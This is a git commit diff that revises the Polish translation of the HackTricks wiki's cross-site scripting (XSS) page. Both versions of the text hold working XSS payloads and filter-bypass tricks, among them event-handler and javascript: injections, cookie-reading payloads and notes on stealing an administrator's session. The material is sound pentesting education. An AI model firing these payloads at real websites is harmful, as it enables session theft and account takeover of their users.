mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to
This commit is contained in:
		
							parent
							
								
									8c33d6f706
								
							
						
					
					
						commit
						57473c3767
					
				@ -4,7 +4,7 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**.
 | 
					1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**.
 | 
				
			||||||
2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
 | 
					2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
 | 
				
			||||||
3. Jeśli **odzwierciedlona**
 | 
					3. Jeśli **odzwierciedlona**:
 | 
				
			||||||
1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
 | 
					1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
 | 
				
			||||||
1. W **surowym HTML**:
 | 
					1. W **surowym HTML**:
 | 
				
			||||||
1. Czy możesz tworzyć nowe tagi HTML?
 | 
					1. Czy możesz tworzyć nowe tagi HTML?
 | 
				
			||||||
@ -74,7 +74,7 @@ W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </s
 | 
				
			|||||||
- `'-alert(1)-'`
 | 
					- `'-alert(1)-'`
 | 
				
			||||||
- `';-alert(1)//`
 | 
					- `';-alert(1)//`
 | 
				
			||||||
- `\';alert(1)//`
 | 
					- `\';alert(1)//`
 | 
				
			||||||
- Jeśli jest odzwierciedlany wewnątrz szablonów dosłownych, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
					- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
				
			||||||
- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
 | 
					- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
alert(1)
 | 
					alert(1)
 | 
				
			||||||
@ -83,7 +83,7 @@ alert(1)
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
#### Javascript Hoisting
 | 
					#### Javascript Hoisting
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby można było wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
 | 
					Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala na wykorzystanie scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
 | 
				
			||||||
**Sprawdź następującą stronę po więcej informacji:**
 | 
					**Sprawdź następującą stronę po więcej informacji:**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
@ -92,15 +92,15 @@ js-hoisting.md
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Javascript Function
 | 
					### Javascript Function
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Kilka stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`.
 | 
					Wiele stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak:
 | 
					Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert** wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 | 
					W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 | 
					Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -116,7 +116,7 @@ Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `o
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
 | 
					Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Dlatego, aby **nadużyć tej luki w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
 | 
					Dlatego, aby **nadużyć tej podatności w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
some-same-origin-method-execution.md
 | 
					some-same-origin-method-execution.md
 | 
				
			||||||
@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md
 | 
				
			|||||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 | 
					../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Kodowanie omijające WAF obrazu
 | 
					## Ominięcie WAF kodując obraz
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.jpg>)
 | 
					.jpg>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Wstrzykiwanie wewnątrz surowego HTML
 | 
					## Wstrzykiwanie wewnątrz surowego HTML
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany w HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
 | 
					Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
 | 
				
			||||||
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 | 
					W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 | 
				
			||||||
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***\***\*`-->`\*\***\***\*lub \*\*\*\*\*\***`--!>`\*\*_
 | 
					_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***\***\*`-->`\*\***\***\*lub \*\*\*\*\*\***`--!>`\*\*_
 | 
				
			||||||
 | 
					
 | 
				
			||||||
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
 | 
					W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<script>
 | 
					<script>
 | 
				
			||||||
alert(1)
 | 
					alert(1)
 | 
				
			||||||
@ -161,7 +161,7 @@ alert(1)
 | 
				
			|||||||
<img src="x" onerror="alert(1)" />
 | 
					<img src="x" onerror="alert(1)" />
 | 
				
			||||||
<svg onload=alert('XSS')>
 | 
					<svg onload=alert('XSS')>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz stworzyć.\
 | 
					Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz utworzyć.\
 | 
				
			||||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
 | 
					Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Brute-force tagów/wydarzeń
 | 
					### Brute-force tagów/wydarzeń
 | 
				
			||||||
@ -170,7 +170,7 @@ Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-s
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Niestandardowe tagi
 | 
					### Niestandardowe tagi
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL na `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
 | 
					Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 | 
					/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -249,8 +249,8 @@ Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wyko
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Wewnątrz tagu/ucieczka z wartości atrybutu
 | 
					### Wewnątrz tagu/ucieczka z wartości atrybutu
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
 | 
					Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych z technik wymienionych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
 | 
				
			||||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
 | 
					Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
" autofocus onfocus=alert(document.domain) x="
 | 
					" autofocus onfocus=alert(document.domain) x="
 | 
				
			||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 | 
					" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 | 
				
			||||||
@ -267,12 +267,12 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### W obrębie atrybutu
 | 
					### W obrębie atrybutu
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest odzwierciedlany w twojej wartości **czy kontrolujesz całą wartość, czy tylko część** będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
 | 
					Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, w którym atrybucie** twoja wartość jest odzwierciedlana **czy kontrolujesz całą wartość, czy tylko część** będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
 | 
				
			||||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 | 
					Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
 | 
					**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
 | 
					**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
 | 
					Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
**Inne sztuczki obfuskacji**
 | 
					**Inne sztuczki obfuskacji**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
_**W tym przypadku kodowanie HTML i sztuczka z kodowaniem Unicode z poprzedniej sekcji są również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
 | 
					_**W tym przypadku kodowanie HTML i trik z kodowaniem Unicode z poprzedniej sekcji są również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
<a href="javascript:var a=''-alert(1)-''">
 | 
					<a href="javascript:var a=''-alert(1)-''">
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania**.
 | 
					Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania.**
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
'-alert(1)-'
 | 
					'-alert(1)-'
 | 
				
			||||||
%27-alert(1)-%27
 | 
					%27-alert(1)-%27
 | 
				
			||||||
@ -426,7 +426,7 @@ Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Moż
 | 
				
			|||||||
```html
 | 
					```html
 | 
				
			||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
 | 
					<input type="hidden" accesskey="X" onclick="alert(1)">
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
**Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
 | 
					**Payload XSS będzie wyglądać mniej więcej tak:** `" accesskey="x" onclick="alert(1)" x="`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Ominięcia czarnej listy
 | 
					### Ominięcia czarnej listy
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -444,7 +444,7 @@ Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses).
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
**Ominięcia dla kodu JavaScript**
 | 
					**Ominięcia dla kodu JavaScript**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Przeczytaj [czarną listę omijania JavaScript w następnej sekcji](#javascript-bypass-blacklists-techniques).
 | 
					Przeczytaj [czarną listę omijania JavaScript z następnej sekcji](#javascript-bypass-blacklists-techniques).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Gadżety CSS
 | 
					### Gadżety CSS
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -488,7 +488,7 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znaj
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### Template literals \`\`
 | 
					### Template literals \`\`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
 | 
					Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
 | 
				
			||||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
 | 
					Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Można to **nadużyć** używając:
 | 
					Można to **nadużyć** używając:
 | 
				
			||||||
@ -510,7 +510,7 @@ loop``
 | 
				
			|||||||
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 | 
					<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 | 
				
			||||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 | 
					<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Kodowanie Unicode w wykonaniu JS
 | 
					### Kodowanie Unicode wykonanie JS
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
alert(1)
 | 
					alert(1)
 | 
				
			||||||
alert(1)
 | 
					alert(1)
 | 
				
			||||||
@ -624,7 +624,7 @@ console.log(arguments);
 | 
				
			|||||||
btt`${'arg1'}${'arg2'}${'arg3'}`
 | 
					btt`${'arg1'}${'arg2'}${'arg3'}`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
//It's possible to construct a function and call it
 | 
					//It's possible to construct a function and call it
 | 
				
			||||||
Function`x${'alert(1337)'}x```
 | 
					Function`x${'alert(1337)'}x`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
// .replace can use regexes and call a function if something is found
 | 
					// .replace can use regexes and call a function if something is found
 | 
				
			||||||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
 | 
					"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
 | 
				
			||||||
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
 | 
				
			|||||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
 | 
					'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
 | 
				
			||||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
 | 
					'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
 | 
				
			||||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
 | 
					// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 | 
					- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 | 
				
			||||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 | 
					- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 | 
				
			||||||
@ -752,7 +753,7 @@ Nie zapomnij również, że **na końcu wspomnianego posta** możesz znaleźć w
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Cookie XSS
 | 
					### Cookie XSS
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli możesz wywołać XSS, wysyłając ładunek w ciasteczku, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **wrażliwy subdomen do XSS**, możesz wykorzystać to XSS do wstrzyknięcia ciasteczka w całej domenie, co pozwoli na wywołanie cookie XSS w głównej domenie lub innych subdomenach (tych wrażliwych na cookie XSS). W tym celu możesz użyć ataku cookie tossing:
 | 
					Jeśli możesz wywołać XSS, wysyłając ładunek w ciasteczku, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **wrażliwy subdomen do XSS**, możesz wykorzystać ten XSS do wstrzyknięcia ciasteczka w całej domenie, co pozwoli na wywołanie cookie XSS w głównej domenie lub innych subdomenach (tych wrażliwych na cookie XSS). W tym celu możesz użyć ataku cookie tossing:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
../hacking-with-cookies/cookie-tossing.md
 | 
					../hacking-with-cookies/cookie-tossing.md
 | 
				
			||||||
@ -766,11 +767,11 @@ Może się zdarzyć, że użytkownik może podzielić się swoim profilem z admi
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Odbicie sesji
 | 
					### Odbicie sesji
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł Ci pomóc, będzie widział to, co Ty widzisz w swojej sesji, ale z jego sesji.
 | 
					Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł ci pomóc, będzie widział to, co ty widzisz w swojej sesji, ale z jego sesji.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Możesz sprawić, że **administrator wywoła Twoje self XSS** i ukraść jego ciasteczka/sesję.
 | 
					Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Inne obejścia
 | 
					## Inne Obejścia
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Normalizowany Unicode
 | 
					### Normalizowany Unicode
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -782,12 +783,12 @@ Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unic
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### Ruby-On-Rails bypass
 | 
					### Ruby-On-Rails bypass
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
 | 
					Z powodu **RoR mass assignment** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
 | 
				
			||||||
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
 | 
					Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 | 
					contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Para "Key","Value" zostanie zwrócona w ten sposób:
 | 
					Para "Key","Value" zostanie zwrócone w ten sposób:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
 | 
					{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -832,7 +833,7 @@ Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty na
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Tylko litery, cyfry i kropki
 | 
					### Tylko litery, cyfry i kropki
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
 | 
					Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak wykorzystać to zachowanie.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Ważne typy zawartości `<script>` do XSS
 | 
					### Ważne typy zawartości `<script>` do XSS
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -840,7 +841,7 @@ Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
> Odrzucono wykonanie skryptu z ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (‘application/octet-stream’) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
 | 
					> Odrzucono wykonanie skryptu z ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (‘application/octet-stream’) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jedynymi **Content-Type**ami, które pozwolą Chrome na uruchomienie **załadowanego skryptu**, są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 | 
					Jedynymi **Content-Type** wspierającymi Chrome do uruchomienia **załadowanego skryptu** są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 | 
				
